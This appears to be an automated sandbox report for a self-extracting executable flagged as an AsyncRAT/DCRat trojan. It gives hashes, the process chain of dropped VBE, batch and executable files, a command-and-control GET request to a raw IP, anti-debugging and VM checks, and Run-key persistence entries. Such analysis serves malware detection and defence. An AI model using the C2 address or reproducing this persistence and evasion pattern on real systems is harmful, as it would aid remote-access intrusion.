Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Nov. 5, 2021, 9:09 a.m.	Nov. 5, 2021, 9:38 a.m.

Size	1.2MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`d32aed7204ae5bf456dc9d1be2c53d9e`
SHA256	`1b01d984b376180d8ebe4b7fce444056438d233c9b5ed58f648409a545091d6a`
CRC32	`ADAF3195`
ssdeep	`24576:U2G/nvxW3Ww0tZAanrdOl5tYbOba812a+4V:UbA30xdU`
PDB Path	D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb
Yara	Antivirus - Contains references to security software PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware OS_Processor_Check_Zero - OS Processor Check IsPE32 - (no description) Malicious_Library_Zero - Malicious_Library UPX_Zero - UPX packed file Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT NPKI_Zero - File included NPKI

5334_1636030207_6453.exe "C:\Users\test22\AppData\Local\Temp\5334_1636030207_6453.exe"
2340
- wscript.exe "C:\Windows\System32\WScript.exe" "C:\refHost\FjMmkDwY1WCKW.vbe"
  2432
  - cmd.exe cmd /c ""C:\refHost\VyVjFcWpSWC1UO7DFv.bat" "
    2580
    - refHostWinruntimemonitor.exe "C:\refHost\refHostWinruntimemonitor.exe"
      2640
      - taskhost.exe "C:\Documents and Settings\taskhost.exe"
        2944

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
188.120.229.34	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49168 -> 188.120.229.34:80	2034194	ET MALWARE DCRAT Activity (GET)	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (20 events)

Time & API	Arguments	Status	Return
GetComputerNameW Nov. 5, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 5, 2021, 9:10 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Nov. 5, 2021, 9:09 a.m.			0	0
IsDebuggerPresent Nov. 5, 2021, 9:09 a.m.			0	0
IsDebuggerPresent Nov. 5, 2021, 9:10 a.m.			0	0
IsDebuggerPresent Nov. 5, 2021, 9:10 a.m.			0	0

Command line console output was observed (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Nov. 5, 2021, 9:09 a.m.	buffer: C:\refHost> console_handle: 0x00000007	1	1	0
WriteConsoleW Nov. 5, 2021, 9:09 a.m.	buffer: "C:\refHost\refHostWinruntimemonitor.exe" console_handle: 0x00000007	1	1	0

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This executable has a PDB path (1 event)

pdb_path

D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Nov. 5, 2021, 9:09 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.didat

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

PNG

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Nov. 5, 2021, 9:10 a.m.	stacktrace: 0x7fe9359d6da 0x7fe9359d4bb 0x7fe9359d3f1 0x7fe9358d90e 0x7fe9358c4c9 0x7fe9358c449 0x7fe93586cd6 0x7fe9357095e 0x7fe9357046f CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef2c0f713 CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef2c0f242 CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef2c0f30b _CorExeMain+0x335c ClrCreateManagedInstance-0x15ae4 clr+0x1e721c @ 0x7fef2da721c _CorExeMain+0x3ab6 ClrCreateManagedInstance-0x1538a clr+0x1e7976 @ 0x7fef2da7976 _CorExeMain+0x39b0 ClrCreateManagedInstance-0x15490 clr+0x1e7870 @ 0x7fef2da7870 _CorExeMain+0x3526 ClrCreateManagedInstance-0x1591a clr+0x1e73e6 @ 0x7fef2da73e6 _CorExeMain+0x347e ClrCreateManagedInstance-0x159c2 clr+0x1e733e @ 0x7fef2da733e _CorExeMain+0x14 ClrCreateManagedInstance-0x18e2c clr+0x1e3ed4 @ 0x7fef2da3ed4 _CorExeMain+0x5d CLRCreateInstance-0x2bd3 mscoreei+0x74e5 @ 0x7fef49f74e5 _CorExeMain+0x69 ND_RU1-0x1707 mscoree+0x5b21 @ 0x7fef5575b21 BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76da652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x770fc521 exception.instruction_r: 80 38 00 48 8b 4c 24 40 48 8b 54 24 48 e8 d4 94 exception.instruction: cmp byte ptr [rax], 0 exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x7fe9359d6da registers.r14: 0 registers.r15: 0 registers.rcx: 0 registers.rsi: 0 registers.r10: 8789975642704 registers.rbx: 0 registers.rsp: 2751328 registers.r11: 2745328 registers.r8: 39572188 registers.r9: 22518466294644837 registers.rdx: 39572160 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 0 registers.r13: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Nov. 5, 2021, 9:10 a.m.

stacktrace:

0x7fe9359d6da
0x7fe9359d4bb
0x7fe9359d3f1
0x7fe9358d90e
0x7fe9358c4c9
0x7fe9358c449
0x7fe93586cd6
0x7fe9357095e
0x7fe9357046f
CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef2c0f713
CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef2c0f242
CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef2c0f30b
_CorExeMain+0x335c ClrCreateManagedInstance-0x15ae4 clr+0x1e721c @ 0x7fef2da721c
_CorExeMain+0x3ab6 ClrCreateManagedInstance-0x1538a clr+0x1e7976 @ 0x7fef2da7976
_CorExeMain+0x39b0 ClrCreateManagedInstance-0x15490 clr+0x1e7870 @ 0x7fef2da7870
_CorExeMain+0x3526 ClrCreateManagedInstance-0x1591a clr+0x1e73e6 @ 0x7fef2da73e6
_CorExeMain+0x347e ClrCreateManagedInstance-0x159c2 clr+0x1e733e @ 0x7fef2da733e
_CorExeMain+0x14 ClrCreateManagedInstance-0x18e2c clr+0x1e3ed4 @ 0x7fef2da3ed4
_CorExeMain+0x5d CLRCreateInstance-0x2bd3 mscoreei+0x74e5 @ 0x7fef49f74e5
_CorExeMain+0x69 ND_RU1-0x1707 mscoree+0x5b21 @ 0x7fef5575b21
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76da652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x770fc521

exception.instruction_r: 80 38 00 48 8b 4c 24 40 48 8b 54 24 48 e8 d4 94
exception.instruction: cmp byte ptr [rax], 0
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x7fe9359d6da
registers.r14: 0
registers.r15: 0
registers.rcx: 0
registers.rsi: 0
registers.r10: 8789975642704
registers.rbx: 0
registers.rsp: 2751328
registers.r11: 2745328
registers.r8: 39572188
registers.r9: 22518466294644837
registers.rdx: 39572160
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 0
registers.r13: 0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://188.120.229.34/VideoWindowsPubliccdn.php?sRDQhUYRR1VCUcrGCBiFGxvBMt=ecDOPH1A2PBmSX1uU&tzG=u5jbrt4fBDxy&205613df31fa591f289d7ad292addb55=a50fbbbb03ddd573b80cc9b782586cf0&0e143c60b49591bb229951313b175b9b=QNlJDNmNGNzAjYhZTZ1IzYxgzMwUDOxgzMkJ2M3UjMhJTM5AjZyQ2N&sRDQhUYRR1VCUcrGCBiFGxvBMt=ecDOPH1A2PBmSX1uU&tzG=u5jbrt4fBDxy

Performs some HTTP requests (1 event)

request

Allocates read-write-execute memory (usually to unpack itself) (50 out of 170 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 2490368 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000008b0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000a90000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef325b000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 2097152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002190000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002310000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bc4000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9343a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9344c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93570000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe934ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93516000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe934f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9343b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9345b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9348c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9345d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93571000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 36864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93572000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93432000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9357b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9344a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9344d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9357c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9357d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9357f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93580000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:09 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9348d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (2 events)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceExW Nov. 5, 2021, 9:09 a.m.	total_number_of_free_bytes: 10233982976 free_bytes_available: 10233982976 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0
GetDiskFreeSpaceExW Nov. 5, 2021, 9:10 a.m.	total_number_of_free_bytes: 10232344576 free_bytes_available: 10232344576 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0

Creates executable files on the filesystem (3 events)

file	C:\refHost\VyVjFcWpSWC1UO7DFv.bat
file	C:\refHost\refHostWinruntimemonitor.exe
file	C:\refHost\FjMmkDwY1WCKW.vbe

Drops a binary and executes it (2 events)

file	C:\refHost\FjMmkDwY1WCKW.vbe
file	C:\refHost\refHostWinruntimemonitor.exe

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Nov. 5, 2021, 9:09 a.m.	show_type: 0 filepath_r: C:/refHost/VyVjFcWpSWC1UO7DFv.bat parameters: filepath: C:/refHost/VyVjFcWpSWC1UO7DFv.bat	1	1	0
ShellExecuteExW Nov. 5, 2021, 9:10 a.m.	show_type: 0 filepath_r: C:\Documents and Settings\taskhost.exe parameters: filepath: C:\Documents and Settings\taskhost.exe	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Nov. 5, 2021, 9:10 a.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Nov. 5, 2021, 9:09 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Nov. 5, 2021, 9:10 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

188.120.229.34

Installs itself for autorun at Windows startup (4 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\pw	reg_value	"C:\refHost\pw.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhost	reg_value	"C:\Documents and Settings\taskhost.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchProtocolHost	reg_value	"C:\Windows\System32\msident\SearchProtocolHost.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhost	reg_value	"C:\Windows\System32\spwizres\taskhost.exe"

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	C:/refHost/VyVjFcWpSWC1UO7DFv.bat
parent_process	wscript.exe				martian_process	"C:\refHost\VyVjFcWpSWC1UO7DFv.bat"

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
